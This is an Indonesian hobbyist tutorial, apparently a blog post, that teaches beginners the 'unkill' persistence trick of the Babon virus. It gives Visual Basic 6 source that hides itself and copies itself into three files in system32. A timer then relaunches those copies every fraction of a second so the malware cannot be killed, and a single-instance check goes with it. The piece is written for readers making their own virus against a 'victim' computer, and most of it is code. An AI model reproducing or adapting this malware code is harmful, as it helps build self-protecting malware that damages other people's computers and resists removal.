Teknik unkill virus Babon

Pernah dengar virus babon? Ooo pasti pernah dong. Dulu teknik yang dipake ama virus ini cukup ngetren dimasa-nya… Sampe-sampe banyak Avmaker juga bingung tuh ama virus ini. Apa yang aneh?

Si Babon ternyata make teknik unkill. Yang artinya ”tidak dapat dibunuh”. Tapi bukan berarti gak bisa mati! Ada cranya juga membunuhnya…

Secara logika begini trik-nya…
-buat lebih dari satu induk virusmu
-perintahkan mereka untuk saling memanggil….

Cukup dua baris itu aja. Ha ha ha. Sepertinya banyak yang udah tahu trik ini tapi gak apa-apa deh buat yang newbie.

Begini. Andaikan kamu membuat virus… Pastinya virus kamu membuat induk di komputer korban…
Perhatikan aku mnulis source code virus sederhana berikut.

Private sub form_load()
App.taskvisible=false
me.visible=false
Call SpreadFile
End sub

Sub SpreadFile()
On error resume next
Dim Location(3) as string
Dim jml as integer
Location(1) = Environ$(“windir”) & “\system32\Top.exe”
Location(2) = Environ$(“windir”) & “\system32\Top2.exe”
Location(3) = Environ$(“windir”) & “\system32\Top3.exe”
For jml = 1 to 3
Filecopy app.path & “\” & app.exename & “.exe” , location(jml)
Next
End Sub

Itu sederhananya.. itu source untuk menyebarkan induk-nya… Lalu?
Supaya kita bisa make teknik unkill tambahkan satu timer yang intervalnya kurang dari 500. (ingat: satu detik sama dengan 1000 interval timer!)

Private sub Timer1_timer()
Shell Environ$(“windir”) & “\system32\Top.exe”
Shell Environ$(“windir”) & “\system32\Top2.exe”
Shell Environ$(“windir”) & “\system32\Top3.exe”
End sub

Lalu jangan lupa tambahkan sedikit code di Form_Load().
Pokoknya terakhir code-nya seprti ini:
Private sub form_load()
If app.Previstance then End
App.taskvisible=false
me.visible=false
Call SpreadFile
End sub

Kalo Babon lain lagi…
Coba buat satu module dan ketik code-nya berikut:

Declare Function FindWindow Lib “user32″ Alias “FindWindowA” (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Declare Function GetWindow Lib “user32″ (ByVal hwnd As Long, ByVal wCmd As Long) As Long
Declare Function OpenIcon Lib “user32″ (ByVal hwnd As Long) As Long
Declare Function SetForegroundWindow Lib “user32″ (ByVal hwnd As Long) As Long

Public Const GW_HWNDPREV = 3

Private Sub ShowPrevInstance()
Dim OldTitle As String
Dim ll_WindowHandle As Long
OldTitle = App.Title
App.Title = “abcde – Aplikasi ini akan ditutup!”
ll_WindowHandle = FindWindow(“ThunderRT6Main”, OldTitle)
If ll_WindowHandle = 0 Then Exit Sub
ll_WindowHandle = GetWindow(ll_WindowHandle, GW_HWNDPREV)
Call OpenIcon(ll_WindowHandle)
Call SetForegroundWindow(ll_WindowHandle)
End
End Sub

Sub Main()
If App.PrevInstance Then Showprevinstance

Load Form1
Form1.Show

End sub

Jangan lupa mengubah startup virusmu menjadi “sub main”. Okey!

Sekian tutorial dari saya…
Thanks

By:Morphic
Karta_morphic@yahoo.co.id
Thanks to:

http://www.morphostlab.co.nr

MorphostLab Team
Anak-anak FK USU stambuk 09